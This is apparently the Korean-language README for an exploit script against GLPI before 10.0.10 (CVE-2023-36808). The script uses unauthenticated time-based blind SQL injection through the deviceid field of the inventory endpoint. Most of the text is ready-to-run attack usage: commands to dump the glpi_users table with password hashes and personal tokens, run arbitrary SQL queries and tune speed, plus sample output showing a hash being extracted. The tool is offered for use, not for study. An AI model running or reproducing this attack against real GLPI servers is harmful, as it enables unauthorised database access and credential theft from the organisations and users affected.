
GLPI cve-2023-36808
GLPI 버전 < 10.0.10은 /front/inventory.php에서 인증되지 않은 XML 인벤토리 엔드포인트를 노출합니다.
<deviceid> 필드는 검증 없이 SQL 쿼리에 직접 삽입됩니다:
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
인증이 필요하지 않습니다. 이 취약점은 블라인드 SQL 인젝션을 통해 전체 데이터베이스 읽기 접근을 허용합니다.
이 스크립트는 이진 검색을 이용한 시간 기반 블라인드 인젝션을 사용하여 일반 도구보다 훨씬 빠르게 데이터를 추출합니다.
pip install -r requirements.txt
# glpi_users 테이블 전체 덤프 (이름, 비밀번호 해시, personal_token)
python3 exploit.py http://<TARGET>/glpi
# 사용자 정의 SQL 쿼리
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# 타이밍 조정 (sleep 값이 낮을수록 빠름, 잘못된 결과가 나오면 증가)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# 병렬 요청 한도 증가 (기본값 2, 지연 시간이 긴 원격 대상에서는 증가)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...